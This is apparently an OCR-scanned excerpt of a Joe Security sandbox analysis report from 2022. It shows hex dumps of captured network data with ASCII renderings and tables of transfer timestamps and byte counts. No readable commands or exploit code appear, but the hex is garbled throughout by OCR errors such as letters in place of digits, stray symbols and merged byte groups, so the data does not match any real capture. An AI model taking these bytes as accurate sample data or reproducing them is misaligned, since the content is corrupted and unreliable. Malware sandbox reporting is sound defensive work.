a3 16 2a 13 c1 12 36 db 92 4b e5 93 ee 4b 67 aa e3 47 54 f8 Oc b1 65 2a 79 e9 f7 45 8b 4e 3 3d e0 6f 52 dc bc b3 f2 2f
4d 0b de 4a f6 8¢ 7f b3 9e a4 cf 9b b9 fe f3 2 39 84 c2 a3 ed 06 5d dc 6a 89 aa 71 4f eb df 44 ca f7 a5 e9 ae 78 47 bc dO
90 25 ef 1a 7a a2 fO f8 32 42 c3 8f d9 b4 20 6¢ 77 da

Data Ascii: ~*Y~3nJh5;/,leF5mu}7 {>so\j#UT0,yEKBK\WC]G icl.Zj5QZcwHC7 AILQ*6KKgGTe*yEN=0R/MJ9]jgODx
G%z2B Iw
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1315 IN
2022-05-02 11:03:03 UTC 1318 IN
2022-05-02 11:03:03 UTC 1323 IN
2022-05-02 11:03:03 UTC 1327 IN
2022-05-02 11:03:03 UTC 1331 IN
2022-05-02 11:03:03 UTC 1335 IN
2022-05-02 11:03:03 UTC 1339 IN
2022-05-02 11:03:03 UTC 1343 IN
2022-05-02 11:03:03 UTC 1347 IN

Copyright Joe Security LLC 2022

Data

Data Raw: e9 a3 62 38 54 ee f3 ab f4 af 24 82 af df 19 62 b0 f9 4a 6d dc 59 99 7f ca 97 fb bc bd 8a 27 al 2e 6a 50 3d cf
b6 ce 40 Oe 8c 45 5¢ dc 47 b3 ed 21 fa 5b 37 8e 66 0f 37 e4 cd 3c dc ab df e4 e8 9d 27 05 6b 30 73 c9 ef 65 {7 58 6¢ 1f a4
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i\u

Data Raw: b4 f3 a4 17 97 5f cf 67 a6 bd 1e 7b 6f 93 9a a4 ce 9f 65 29 ee 49 24 33 1f Of cc b4 d7 7c 51 a9 81 0a 92 22 ec
7e 93 ed c6 16 Of ba b7 ad el ce 87 e9 3f 18 cf 8a 38 76 73 7c 40 f9 df 5e 6d 3e b1 82 ae 7f 44 28 38 56 8e 9d 16 28 63
2b a5 ee ac 77 Oa c4 5¢ 4b 0d ec 6 2b Oa ff 3f 61 92 ¢5 11 a3 e6 d3 58 25 bc 25 fd d3 Oe 5¢ 32 89 ea dd 68 ca fc 8d al
87 ab f7 30 42 97 9f e3 f0 77 19 65 ad e3 79 15 91 f6 c4 a0 ac 22 e4 54 8d b8 ed 58 05 58 ed 54 9d 59 a5 7e b4 d1 92 a6
cd 75 49 db 9a 64 fa 9c a9 6b 70 f1 96 ac 19 66 a7 4c 41 1b d4 23 99 86 17 76 10 55 16 eb 30 46 dc e5 dd 72 7e d8 cf fd
2362 e6 be cd 12 1e 73 56 f2 28 f4 39 2d ee cc €8 17 €9 1d 2d 45 e0 51 4e 68 55 8d 74 51 7a ac 24 2d d6 f9 7a ca 4b b4
3e f4 d2 el bf 50 5a 8e f8 59 9a Ob b6 4a 8d a9 04 3¢

Data Ascii: _g{oe)I$3|Q"~?8vs|@"m>D(8V(c+W\K+?aX%%\2h0Bwey"TXXTY~uldkpfLA#vUOFr~#bsV(9--EQNhUtQz$-zK
>PZYJ<
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Data

Data Raw: 3e fc 71 99 c6 ae 88 f4 a5 35 f1 50 74 27 8¢ fa fd 22 7c 02 b3 c9 66 a7 1e fb ca 36 64 dc d8 40 87 83 1a 37 60
c0 83 22 8e 01 e5 22 fc 6e db 67 4a 32 d4 f6 20 88 Oe be 29 56 52 72 bd 16 50 6f 41 1f ad 70 9d 25 9d fc 76 25 48 91 c1
d4 Oc e6 el cf 9b 93 bd 17 9f c1 5c ad 9e bc 39 0f 96 fc 2e {7 0d 20 b2 71 93 3a e9 5f 79 10 67 dO 6d 6d ec 8c 4f 72 Oe aa
47 34 1f 89 41 df 42 82 97 3e b3 51 db 46 ea bf 34 05 Oa f4 bf fa 70 3e b0 fa e2 a3 8e 6¢ 56 72 82 13 ba e8 39 f2 5f ba ae
af 29 e9 3c 94 1a 4d Of fd 1a 15 51 ae 33 el 62 ac a4 93 41 19 2c fd ec 9f a2 72 3e 47 3e 31 97 b5 25 61 1d b8 cb ca e8
02 21 f5 01 f9 Oc eb 21 9a 92 99 70 c3 d2 65 7a b5 89 ea 49 92 7a 8e 92 a3 47 a6 84 6¢ 3d 29 c5 d2 38 43 93 3¢ a5 Oe fd
65 51 3b df 1b 91 f9 ¢9 3c 01 8d f5 a0 c6 2d 25

Data Ascii: >q5Pt"[f6d@7 "'ngJ2 )VRrPoAp%v%H\9. q:_ygmmOrG4AB>QF4p>IVr9_)<MQ3bA,r>G>1%al!pezlzGl=)8
C<eQ;<-%

Data Raw: 17 9e d2 e3 e2 93 4e a7 ca cl 4a 9b 1e a9 c2 79 2e 65 a6 d7 5f 9d 5f 0d 32 b9 c8 36 e6 Of 13 a4 44 4a a8 be
3473 3f 41 16 61 51 bf a5 al b1 99 5b 98 0f 9c b2 d5 07 6¢ 90 4e 59 22 0f 10 b7 8 2f ac 89 32 79 d1 fc 52 Ob 2c b3 d8
26 68 59 53 9c da d6 36 19 a2 45 5b 72 03 4b 10 f1 c3 eb c3 d5 0a 3d 26 4d a2 70 3d e5 4e b2 41 7a ce de b7 fc 2e 27
ad 8bal 87 8a 8a a5 ce cd 31 7b 9a c8 45 ec Oc c5 4f 1e 64 8a 11 79 62 2a a5 f1 40 b8 01 fe 8d 54 3d a6 18 3d 45 bb 69
12 9c 52 48 27 99 96 a9 8a 71 a6 3e €8 69 6d 9d 2a 41 08 29 41 6d 3 08 3 3c 06 da 2f 9c €9 28 b8 b2 04 15 b8 db 9d
31 eb le 05 bf 31 7f 28 01 2f bd 8e dd 67 73 2b 10 a0 40 Ob 34 a6 bc 8¢ 75 92 16 dd 99 f9 02 d9 f4 95 bc da 38 b2 28 35
51 ba 0a b9 70 0a e0 32 d0 75 93 77 a2 4a c4 32 ab a7 c2 86 63

Data Ascii: NJy.e_ 26DJ4s?AaQ[INY"/2yR,&hYS6E[rK=&Mp=NAz.'1{EOdyb*@T==EiRH'q>im*A)Am</(11(/gs+@4u8(5
Qp2uwJ2c

Data Raw: 2d 43 6¢ f9 e6 4a 80 43 63 3b d9 23 db 15 b1 42 a9 a8 96 f9 e7 7a 11 57 ae 00 b5 77 23 26 79 de 69 da 55 40
59 4d 5f 1b 47 19 c5 ef 1d 39 81 77 66 3 36 a0 af c5 b7 a7 72 3b 9f e0 db 8d fc d2 bf 88 bb 54 be 2b 52 cc 16 el ee 71 1f
d8 7a 27 Oe 5f 9d ed 8e 88 8b 2f fc 29 39 ce 0f 08 b2 4b 75 5a 77 a7 bc ce fb 7f 68 45 ab d3 1d 6a 41 f4 e5 10 6f be 73 Oa
50 4e 19 23 71 11 b3 74 d8 ec ff 07 74 df 52 ¢5 79 0d 71 94 58 6d a9 3f ef 7b 06 22 b8 1f d1 1c b3 c3 9a 53 13 fd 68 ef 2d
5a ef 2d 8b 7f 7c 82 6f 39 14 b4 e9 51 cc 80 d2 68 fc 62 4a 99 7a 50 f5 ea 44 a4 24 ed 7a 88 2e 99 c7 84 fa 19 39 c2 d5
60 b9 6 1c 19 ce d0 a4 11 18 40 c0 e2 f7 b8 2c 34 ¢8 08 d1 85 2b a5 17 Oc 8d 18 f6 48 30 1c 5e c0 8b ef ed 74 a8 76 b4
9356 24 16 92 0d 23 9¢ 09 b2 dd 69 c9 ac 66 09

Data Ascii: -ClICc;#BzWw#&yiU@ YM_G9wf6r;T+Rqz'_/)9KuZwhEjAosPN#qttRygXm?{"Sh-Z-|09QhbJzPD$z.9'@,4+H0
MvVSHif

Data Raw: a0 df a2 cc ff 17 b5 3d c2 c0 03 bf 75 48 6e fb 14 59 88 aa 4d ba Oe cc 4f d8 2b 92 99 4c 30 8d 38 6f Oe €8 8
35 b8 35 1f 91 4d a2 8b 7f 6e 31 e4 d7 71 ee e4 b3 84 3b 2e df c4 4f 11 1e 58 fe 87 cb 5a de 2b 40 83 a5 e3 fd c1 2a 36
€9 1a 08 b2 1f 55 af 97 fb 61 3b 0 10 8a 02 90 94 91 78 30 3a fe fO f9 eb 89 fd 57 28 18 46 Oc 55 29 48 ed 96 c6 b9 88
16 b4 8a 6a d8 10 4c b4 ba 37 51 c1 c1 d9 a5 8a 0d 40 5b ec ed a7 €3 a0 01 36 c4 63 4a 67 48 1e e7 62 26 83 f9 b1 31
a0 3c 68 87 83 9d fd 7e f8 4d a5 5a 13 ¢3 b9 73 11 b0 b8 3f 05 ef 8b 73 ¢4 c3 c2 b1 9f ba 9b 01 c4 0a 12 74 6b c6 e4 34
a0 48 a0 29 9d 7d 3f 30 9c d5 c9 2d €9 f7 af 1b 67 85 f4 a0 a5 36 51 3d 16 ac e2 25 02 2d 41 b8 76 a2 a8 09 39 54 4e 50
52 d0 64 b6 €3 78 de 77 be 31 d4 de 7d f1 7b ef e6 €2 3b

Data Ascii: =uHNYMO+L08055Mn1q;.0XZ+@*6Ua;x0:W(FU)H|L7Q@[6cJgHb&1<h~MZs?stk4H)}?0-g6Q=%-Av
9TNPRdxw1};

Data Raw: 2d f7 dc 48 3f 03 2b aa 18 0d 76 90 51 37 67 45 Oe 05 31 78 8d 13 54 07 €9 1f ba 45 71 e6 35 92 fc 74 66 ef
9ae8 94 ccf2f5c8 7254 83 0c 74 81 26 fb 1c da 83 f4 c0 65 33 fd 9b 51 94 85 74 f7 ea 50 c5 bc dc 50 56 39 f6 5f b1 Ob
b6 b3 el 45 ec 22 81 d6 eb 68 29 8¢ 7a 4d 3b a4 7c 92 cf c8 ac 14 cc b5 d7 26 4b a7 b2 78 e5 21 a7 68 d8 15 44 17 f5 1c
fb cb d1 f9 4a 93 7¢ 80 5d 17 36 d2 d2 2d 5b 7c ac 39 62 20 01 52 14 9d b9 c7 4e 8e 86 €9 c3 d8 89 ef 8f ac €9 el 31 58
b8 4c b2 05 d8 22 45 9d 55 39 02 Oa 9f 88 ac Oa f2 3e 08 02 24 4a eb b1 67 38 08 2f €5 9¢ 91 f2 ca 69 1e cf ea c9 dd 69
aa bf 35 a6 f5 97 al 32 e6 cf Oe 39 cd 21 b6 14 3a 54 50 a5 be 85 64 b1 76 92 71 12 24 c8 de 15 cb 5¢ a8 40 c6 5d 1f 4e
1 3d 53 dd 9a 95 7c 2d 30 bf 22 4d 3f {7 8d f4 33 6e

Data Ascii: -H?+vQ7gE1xTEqS5tfrTt&e3QtPPVI_E"h)zM;|&Kx!hDJ[]6-[|9b RN1XL"EU9>$Jg8/ii529!: TPdva$\@]N=S|-0"M?
3n

Data Raw: f9 ca 5¢ 93 16 e8 f1 a5 c6 50 06 15 ad 4e 9e 9d d8 c4 23 c5 3a 21 de a4 b5 74 1d 69 68 84 e5 0f d3 d4 f4 Of 96
22 be 44 8b 71 c5 2d da a8 04 ed 98 28 52 d3 6f 81 ea fd 06 39 12 5f 33 7f 49 d8 49 5¢ 1c 73 ¢7 db ab 9c e7 ed fd 90 2f
ed 7d e5 66 bb 52 71 79 9b 40 b6 50 e6 ef 84 6b 1c b9 19 01 85 bc 1c de 80 80 cf 8f e9 2f 9f 2b 38 00 6e 63 31 cf ff bb b9
2853 14 08 f6 44 2c b2 60 96 09 48 31 al 5a 81 fb 8b 11 4c 19 9f 14 01 69 74 79 87 bb 86 87 be 9f 1f d5 99 71 7e 94 4a
c8 b0 7f fb 8¢ fe 2b 2c ad 4c 00 24 18 f7 b5 5e 1d 9a 8d c9 33 €9 c4 76 5f b0 47 e5 f1 dd 34 80 30 a3 bd bc 4f be 41 fe bl
37 6a 65 22 3c 2a 25 b2 60 b3 11 7d 59 9b 26 b0 7c 5a 5a 7e db 5 7b 9d 8f 7c 46 c1 74 90 1b e2 8b dc bc 1c 34 85 09
bb fb 38 c3 e5 de 67 05 a2 34 00 94 e7 b1 68 e4 09

Data Ascii: \PN#:!tih"Dg-(Ro9_3II\s/}fRqy@Pk/+8nc1(SD, H1ZLityq~J+,L$"3v_GA400AT7je"<*% }Y&|ZZ~{|Ft48g4h

Data Raw: a6 da 23 5f 5¢ 97 20 a0 53 Oe bb 67 ba 84 2a a5 d0 ee 56 61 19 91 fe f8 {7 1a 61 d3 fd 35 2c da c0 a2 86 7a
b9 9a 13 8b €3 30 03 99 b8 €3 08 26 7a 7c 6f bf 8e b9 f6 Oe ea 11 82 8d 6a f7 95 4d 36 5d 08 71 4a 18 6¢ 26 99 33 c8 cc
b5 86 7e 8c 5a e4 7e 34 62 96 65 90 35 52 47 6b 3b 83 32 80 ac 30 82 62 a0 c3 80 e4 8 45 f0 fb 2d 2b 7b 45 94 d5 52 ec
5c 3d b4 a5 0a c3 a5 92 2c ce 50 ed Oc 2b d7 7c cb 83 69 30 67 d0 8e af 9f 67 d8 ef 5b 94 8¢ 72 4e 5f cd 78 98 55 02 dc
3c 32 28 6a d5 bb 7e Ob 6b af 49 99 e4 86 51 d4 e9 5a f7 4b 4a cc 51 65 ac cd 7d b0 1b 25 c8 4f 89 al 1d 55 d2 43 9a 16
7e 8f50 7c cc al al 8e d9 cc 74 Oc 28 f9 d5 33 fd 81 ba 5d cc 64 ac 02 81 d9 2e 4d cb 07 dc c1 dd 9b 21 6a 29 6e 99 11
37 ¢19d 09 50 c0 45 fd b5 19 ab 0f af d5 35 82 46 97 4a

Data Ascii: #_\ Sg*Vaa5,z0&z|0jM6]qJI&3~Z~4be5RGk;20bE-+{ER\=,P+[i0gg[rN_xU<2(j~kIQZKJIQe}%OUC~P|t(3]
d.Mlj)n7PESFJ

Data Raw: 85 22 46 el 6d 0d 53 65 50 35 24 2 f6 53 cc 36 24 a2 8a 53 Ob 84 40 83 7e 16 Oc b0 3f d8 9c 05 40 9c 2f 23

fa b5 35 13 7c 8f bc 9b fe d5 ef 9e b3 ad 7e ac 71 8f fd ee dO 0d 70 19 70 fa c4 9e e6 96 ba 8a 20 8a 82 f9 dc 4d 85 15 d5
91 fc ab b9 fe 23 4f 18 50 06 b4 f5 48 b9 74 dc b0 af f2 90 5e 74 3 18 de Oc 42 d1 al 39 1f 2e 97 5e le 2d cO bc 94 35 al
1 0d 33 85 al ac b5 19 51 e9 4a 4d e7 b3 29 8f 29 f1 65 ce c8 99 d4 54 9f 32 el fb 52 a9 5f 4d b8 e5 d9 2f 5a 86 62 99
db e591 67 82 d2 90 c1 74 75 f7 ac ab 84 de 90 65 65 f3 a8 94 bf 55 2b 52 51 a7 aa 9b 3f b4 da d9 3c 49 23 f2 b6 49 fe
96 c0 cl cd 15 67 b2 8a cf f9 cb 2a 46 ce b3 af c7 58 51 7d 08 8a 87 06 05 fe 88 b3 2b 2c b4 6d 87 4c 00 8¢ 8d 79 02 39
18 da a7 31 7d 80 05 fO 0 5a 35 4c a0 46 64 82 35

Data Ascii: "FmSeP5$S6$S@~?@/#5|~qpp M#OPHtB9.2-53QJM))eT2R_M/ZbgtueeU+RQ?<I#Ig*FXQ}+,mL
y91}Z5LFd5

Data Raw: fe cd d7 1d 95 73 23 59 {7 fd e0 84 0d d4 93 2c €9 a8 94 ba a0 7 80 ae 8c bl 4b a3 dd 20 2c cd 28 84 90 af 73
95 a5 e9 c8 a8 41 32 f1 d1 39 70 3e 4d 88 5d 7c 30 3e 65 ab b7 1d 9b 53 65 4c d7 07 22 d7 48 a9 30 80 d1 e4 3b 4f b2
de 94 d6 73 c6 13 aa d6 2e 2e 97 73 aa 51 59 41 20 db 70 3e 1f 55 ff f3 92 45 48 fb 35 8a a3 6d 49 94 73 e4 b8 78 b4 bb
1c c069db 18 7c cd 19 66 17 1f 19 b1 9f 59 d2 8b 1c f3 el 7c 81 cc 6d a5 33 58 88 7b 50 Oe 31 80 1b 76 4e 89 Oc 70 90
29 ae 9e 3a d8 b7 9d ea 29 1e 83 51 9e ad 4e 6f a2 6f 65 8f 5f 96 22 a3 bb 86 93 75 d9 c7 fd ba 00 e6 2b 78 74 54 55 00
ac 8f b7 9e ec 54 c¢8 2b c0 a5 ce 32 4c 5d 5 30 4d 6a 42 1d e9 fd 71 aa b4 b8 09 98 2e 6d 29 34 a5 63 47 58 70 b6 11 96
e8 ac 21 0a 49 3b 8a 34 fd 67 71 40 78 24 96 65 9e 6¢ 9b

Data Ascii: s#Y,K ,(sA29p>M]|0>eSeL"H0;0s..sQYA p>UEH5mIsxi|fY|m3X{P1vNp):)QNooe_"u+xtTUT+2L]OMjBg.m
)4cGXp!l;4gq@x$el
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Data

Data Raw: 60 14 4d 13 f5 d3 fd fb d9 03 99 e0 2a d8 7e a2 52 3c fc b5 a5 df 88 b0 ea b2 c2 da 99 2f 6e ae 27 5e 4d d6 ef
8e cd 2d b0 3b 63 17 2b f6 02 32 d1 6d 11 37 05 46 c0 0a 4d el e8 56 d7 f9 b9 0a 24 Ob a4 00 bd 9f 78 d3 95 66 b1 70 77
6f de af e3 9d 9f Ob f4 12 a0 f3 96 62 75 e6 3a 19 19 09 32 9a ed 73 bf a0 88 1c e0 44 7f e2 82 67 59 5a b6 59 04 25 29
1c 97 €7 1150 4a d2 f2 74 72 db 2b 70 f4 e4 94 52 ¢5 67 00 d1 4e c9 6¢ 4d bc 5¢ 3e ab 93 7d 87 03 f1 80 21 de 00 de 58
2f 79 46 b8 9b 82 bl 1e 53 00 8f 3d 71 34 eb 11 f2 86 4c a4 b2 5f 92 3b 28 42 af cd 75 eb c9 26 15 66 04 b3 58 66 47 23
46 5f df 7f 1f e7 fc a2 a0 5a e3 8 a5 1b 45 ec 8¢ 6e 2f 2f c9 02 0f 7d 04 c4 3e ae 3e d5 73 11 a5 15 be 4d 4d 57 56 4c d9
05 5f 75 ¢8 0d 69 29 58 f3 19 93 al 55 65 d3 78 32

Data Ascii: ‘M*~R</n""M-;c+2m7FMV$xfpwobu:2sDgYZY%)PJtr+pRgNIM\>}X/yFS=qg4L_;(Bu&fXfG#F_ZEn//}>>sMMW
VL_ui)XUex2

Data Raw: 8a fO d5 f9 bb 49 6¢ f2 1b ad f5 94 37 ab 09 2c fd 6a 71 62 5f 97 4e 73 fO de €9 8a c2 d6 aa 7f eb 7d e2 db ba
5e a7 dc 63 25 82 d8 fd 3f ca b9 70 10 db 6d 47 be 05 a8 8a 3f 50 €9 4c 84 51 68 88 8e ed 1le f9 16 1c 6¢ b2 15 ad 06 62
a3 302aca381d824a05elefblbceb 46 46 e8 c3 al cO 96 ed 2¢c 84 08 d6 d5 02 dO 11 a5 8a f3 2f 83 a5 d7 bf a0 62
57 2f 36 d3 fa 4c 52 2b 74 42 2d 03 84 60 11 c2 6d 9b 4b cd a2 f9 48 5a 6a 20 39 47 06 1c ba 14 eb 7e 61 16 ce ce 88 12
7a 24 dccl 4872 34 b0 1d 14 40 d2 10 ce a2 f3 d2 d3 70 c4 12 4f 56 Oa 8f 11 6d 9c 2b b3 f7 55 37 b3 22 1a 16 b1 92 75
54 52 65 9d 0d 04 60 9c dd 60 a7 be 89 f4 77 a4 a5 9d 1a e2 c9 87 49 eb b5 c8 d5 a0 32 b7 82 9d cf Oc 84 14 a5 39 b3
33 3f 62 4a 67 c6 €8 87 c0 23 80 eb 83 36 6b 81 3e c4 ae

Data Ascii: 117,jgb_Ns}*c%?pmG?PLQhIb0*8JFF,/bW/6LR+tB- mKHZj 9G~az$Hr4@pOVm+U7"uTRe "wI293?bJg#6k>

Data Raw: 27 54 e8 a4 98 96 17 a9 a3 5e 9a bb al 1c 3e 17 2c 2b 8e 96 0d 5b 61 ae 7c 60 6b 35 16 d5 7a d8 cb 5 df 15
c95b 11 cl 7a11 c89c 8b 78 5¢ f7 8¢ 4f 55 84 38 09 63 b3 ¢3 f2 0d 2e a7 17 80 87 51 fb 2b 97 42 47 72 0a 47 87 Od cd
2e 59 75 e8 ec 2b be 54 0a 4e b4 a9 69 89 75 27 73 09 2d 35 59 6f 19 6b 21 f4 36 40 08 17 45 04 08 e2 3a a2 ad 5a a5
26 df 50 37 ab 81 13 97 cd fO 77 8e 68 03 45 3c 82 4f cd b6 47 8e b4 47 {8 c4 e3 62 20 2e b3 fa c1 50 7b 7f 35 d0 d4 6a
6f ce 87 fa 9f ea 42 71 db 83 c5 e2 e3 1b ba cd f2 7d 35 30 32 86 c2 cb 70 e9 4f d4 99 50 83 2d 17 a5 dc 38 97 c5 64 1e
5d 07 3d 61 b8 87 76 69 de 5f a9 cf b6 09 38 45 5a 91 9a 4b ba db 03 80 29 2c 2a ea cf 57 1b 45 Oc 39 d9 b6 09 dd 24 f1
de 8a c3 ed 10 5b 3e 63 e5 95 69 07 6d 02 fa 78 78 59 44 35

Data Ascii: 'T">,+[a| k5z[zx\OU8c.Q+BGrG.Yu+TNiu's-5Y0ok!6 @E:Z&P7whE<OGGb .P{5joBq}502pOP-8d]=avi_8EZ
K),*WE9$[>cimxxYD5

Data Raw: 6f d1 31 16 00 31 26 al 5c 28 fc 10 5f 40 5¢c e3 2a 5e af 98 1a 77 1a ae f8 c2 f7 e4 14 6b a3 9d 31 b2 {3 ea a4
03 0b 32 04 a8 56 dc 1f db 1b fa 3b bc cf 6b 2e 1a 56 56 4e 18 6b ae ec 62 41 f9 5f 40 5e 85 a7 09 53 dc 39 02 f2 1c c7
ee 2e 56 84 fc 65 48 f1 68 29 4a 94 7b f4 cd 03 e6 00 40 f6 9f bb 10 eb 6e 66 81 05 7e a2 1f 41 2d 7b 42 b0 61 5d 22 26
d1 fO 25 e8 17 98 4b 8b d2 98 ff 8e 32 1f bb 03 54 c1 61 fc c7 fa cO ff e8 al 31 2f 93 20 af ac 7b bd 91 15 20 94 8f 5d ae
9a 3e b0 13 6e a7 d2 4c 76 d5 b5 b9 7c 9f 10 f2 2¢c 91 2e 79 aa 8c f7 21 b5 a4 df 4e d1 65 12 8c cc 70 4b 55 7c 81 40 45
b7 79 6b 9b 53 75 ed 9f eb f8 95 41 7c c6 41 4a 58 af 94 9d af a8 5b b6 7c 7a f7 54 24 1c ae 28 ac 38 0d 30 2e 7d a8 43
af bb b7 2b 7a 10 d8 b8 a8 bf c8 60 8b 2¢ 24 7b 9f

Data Ascii: 011&\(_@\**wk12V;k.VVNkbA_ @7S9.VeHh)J{@nf~A-{Ba]'&%K2Tal/ { ]>nLv|,.y!NepKU|@EykSuA|AIX[
|zT$(80.}C+2",${

Data Raw: 05 11 2d 43 4b 46 65 a4 a7 ec 60 80 f1 21 1d 75 ed 94 6e 58 f4 15 a6 80 cb 55 5d 9e ea 60 bc ed 4c 48 6¢ d8
2b 5d 1d dc 0d Of 61 8b fa 45 da 3b 5d cd 03 2b 3f 7f d6 5¢c 1e 5c 4f f1 d7 ea c8 c0 21 fb 5b a3 b2 60 75 f8 34 f9 91 34 51
4e a4 63 62 3d 26 bb 5c df d2 45 el 3e fb 4d 41 df a7 2d 95 2e al Oc 51 4c 91 a6 88 2d 70 ba bc d9 97 35 e8 6a db c2 e6
f9 7a 29 50 77 12 0a 31 b6 7a 64 67 65 50 7a 67 f2 2e e3 1d 8e 3b 78 5c cd 89 10 63 da f7 93 17 43 9c d3 37 e8 dd 25
d7 7f 69 b9 Ob 48 4c fe 75 0b 2c 42 20 c1 d8 c7 41 2e e3 ef f0 12 e7 37 40 73 8a 08 31 19 a3 d1 86 77 29 al 9f a9 3d bf
b5 6¢ 2f 99 fa 63 9a 71 3f 5a d7 bf 90 66 dc 16 6¢ 91 4a cb b6 42 f6 95 cf c5 3b 6f 6f 07 91 93 86 22 ca 9c 25 33 0d 3c 26
el fl 9a 69 03 86 28 67 4b 0d ee b8 7e 7c f3 08 00 d2

Data Ascii: -CKFe lunXU] LHI+]aE;]+?\\O![ u44QNcb=&\E>MA-.QL-p5jz)PwlzdgePzg.;x\cC7%iHLu,B A.7@s1w)=l/cq?
ZflIB;00"%3<&i(gK~|

Data Raw: 53 ¢3 b0 al 74 f8 09 1b 9d fd 8b 88 22 32 e7 bd 5e 0d 77 91 60 e2 39 ca f6 c5 5a ad c7 34 46 cf 3d fe ba ba 27
5e 15 9f 24 57 77 63 d5 2a c3 c7 ef ¢4 83 ff 13 ec 66 el 4d b3 a6 74 8d 85 39 97 b9 41 25 2f ca cd 3d cb ff 70 19 d7 70 32
74 8c dc d5 d3 26 33 84 fb c9 14 a5 93 49 be 3a d1 6d 88 1a 0d 19 Oc d0 50 fb 5¢ 30 75 1a 08 f0 Oa 1a 2d f1 97 9c e3 51
05 c9 35 60 97 8b 5f 82 fb 8e ea 45 6e b4 f9 59 c1 ¢9 a4 d1 b3 56 2d ca Oe 77 a2 6a 03 e8 98 e0 b3 e0 23 5d 00 8f 46 8b
aa 8b 61 df ee 09 40 8c 00 Oc 98 47 26 a3 19 22 63 24 5d 29 Oe 46 42 4c 9d cb a3 1a 29 Ob 64 da 5c e6 08 88 9f 41 dd
20 29 6e a9 6a 26 1d 0f 2a 33 00 55 7b e0 83 e9 c2 01 7f f2 55 e4 a6 c0 49 81 f2 74 84 48 78 27 22 6e 11 57 06 38 9f f3
93 c4 24 e7 eb c6 6a 74 2d a4 7c Oc 84 88 40 7e 52 da

Data Ascii: St"2/w'9Z4F="$Wwc*fMt9A%/=pp2t&3I:mP\0u-Q5 _EnYV-wj#]Fa@G&"c$])FBL)d\A )nj&*3U{UItHX"'nW8$jt-
|@~-R

Data Raw: 20 b3 68 a5 6e c3 e7 58 14 2d 48 72 43 7h 2b 6e 47 41 53 08 c7 8a 0f 12 16 03 b5 ec 61 20 47 c0 24 77 74 fO
47 7h ce 34 10 fe c2 28 09 4f 1a f4 30 07 41 59 39 90 cb 30 17 f4 01 5c 1a 03 ff 86 34 72 6f 13 62 54 72 2e 55 bf 07 el 1b
4a 84 86 2f 94 3¢ 11 1b 2f c8 Of d4 Of 6¢ 6a €3 8¢ 1a 34 24 b0 45 b7 f2 a4 2e 02 8e eb 9d 57 a2 81 ed 3f 7c 33 2f c7 6e
45 d6 28 78 2a el c1 7f 6¢ 07 ac 58 33 b5 48 7f b6 97 16 9f 90 1b 2¢ b3 32 ce 530 87 9d e4 3 8e 72 db ed 19 12 d3 25 2
cf eb 90 9d 6b 7d 00 31 89 99 a0 6d 6b 4b 74 93 2f 9e dd d4 3f Oc 35 6d 73 6¢ f8 16 8 9f 53 1c 9f 2d 96 9a 1b a0 53 92

cc 03 7d d6 68 b4 c7 b8 03 67 f4 00 2a 6e b5 46 b0 09 cb 37 ee 6a 60 ba c6 a8 23 f8 03 e3 25 21 96 b6 ca ba a3 19 69 12
bd 3d b6 59 1b f5 8d 40 b9 75 e da d5 1e 8 f0 a4

Data Ascii: hnX-HrC{+nGASa G$WiG{4(O0AY90\4robTr.UJ/</Ij4$E W2|3/IE(x*IX3H,2_0r%k}1mkKt/25ms|S-S}hg

NET] #%li=Y @u

Data Raw: Ob 16 eb al e5 65 49 Oc a0 26 86 42 79 ac 5b 3f be 64 e4 30 1e 17 da 02 e0 c4 21 7b 11 99 48 4f 13 f5 4a b7
6e le c2 12 9a 96 7e a6 1d ff 7f cb 03 6e 76 68 24 70 24 c0 b9 45 7e ed f8 7f ba 5f cd 5¢ 39 fc ff 6 a8 9c 5b aa 06 d6 72
6d 69 26 €8 6d cd 51 fd 11 59 d8 6¢ 20 48 Oc d8 25 12 83 43 28 e5 35 7c 49 ea 8f 5e bl aa 96 77 73 df 87 a9 63 ee Ob 4a
8c 4e b5 bl 76 35 73 4544 17 a9 33 a2 4a 70 75 el a2 11 37 41 a9 88 c3 14 2e 03 d6 fa 24 98 32 35 f5 1d 92 c1 36 ba
3101 f9 7d f1 99 46 92 21 54 64 8a 3f 23 3b 5f 33 3d cc 46 ff 4d 6d 88 ec 59 f9 7d d8 Oc 9c 28 3c 6d 7e 84 53 18 26 bc ad
8 35 20 dO 7e 3d d2 4d 47 6e 8e 96 bc 01 db 03 f7 7b 93 3e c2 51 07 83 95 92 7e 66 bb 4a 67 f4 10 a3 41 89 el 37 96 83
79 83 72 ba f8 71 2d 9 4c 9c 6a 29 25 11 68 fd c2 7e

Data Ascii: el&By[?d0{HOJIn~nvh$p$E~_\9[rmi&mQYI| H%C(5|1*wscINV5SED3Jpu7A.$256 1}F! Td?#;_3=FMmY}(<m~S&5
~=MGn{>Q~fJgA7yrqg-Lj)%h~

Data Raw: f5 85 43 fd e0 cb 35 49 b1 8b f7 bd 3c 84 1b 4e a4 a4 64 9a 18 39 f1 3e 3f 94 fa 7e 20 02 56 72 9e 8f 21 bb 79
98 9d 95 07 8c 4b 81 Oe 6b b5 41 67 37 d2 6f 37 f5 22 42 17 be b2 c9 8¢ d2 6b 0d 4b 44 42 87 {5 29 3f 00 79 13 4c 35 1f
c0 eb cf 0b 85 e0 4d 07 a4 df 32 c4 35 1b 3f f0 70 c4 b7 91 1c 4e a4 2c 62 9a 13 93 e5 db da 59 55 72 3b 03 f4 f8 cb 0d
b2 e2 96 4d c2 5¢ 77 a9 ae 22 76 6¢ bf 48 c5 86 ee 17 69 b8 7b ea 36 Ob fd a2 1e b2 04 8a 43 d6 94 72 7e 5c 4a 1f ef 2b
52 9a 97 45 5e 52 28 5e 19 96 72 c4 7c ab a6 32 2d 74 8d b4 b1 9e ee {7 9a 50 61 e9 e7 9b c2 a3 f2 9f 53 27 77 68 96 cc
5c 44 8143 1c d3 Oc 7c el ce 9e 43 54 f2 ef 4b a7 20 18 d2 9a 1b 15 c4 89 70 76 5e fa c3 77 b9 69 f3 61 fd fe 98 a7 f3
6233 eled19 16 17 ea e9 bl 6f 9d 5a af e4 02 Oa 8d

Data Ascii: C5I<Nd9>?~ VrlyKkAg707"BkKDB)?yL5M25?pN,bYUr;M\w"vIHi{6Cr~\J+RE"R("r|2-tPaS'wh\DC|CTK pv
wiab30Z
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Timestamp T Direction
2022-05-02 11:03:03 UTC 1531 IN
2022-05-02 11:03:03 UTC 1547 IN
2022-05-02 11:03:03 UTC 1563 IN
2022-05-02 11:03:03 UTC 1579 IN
2022-05-02 11:03:03 UTC 1595 IN
2022-05-02 11:03:03 UTC 1611 IN
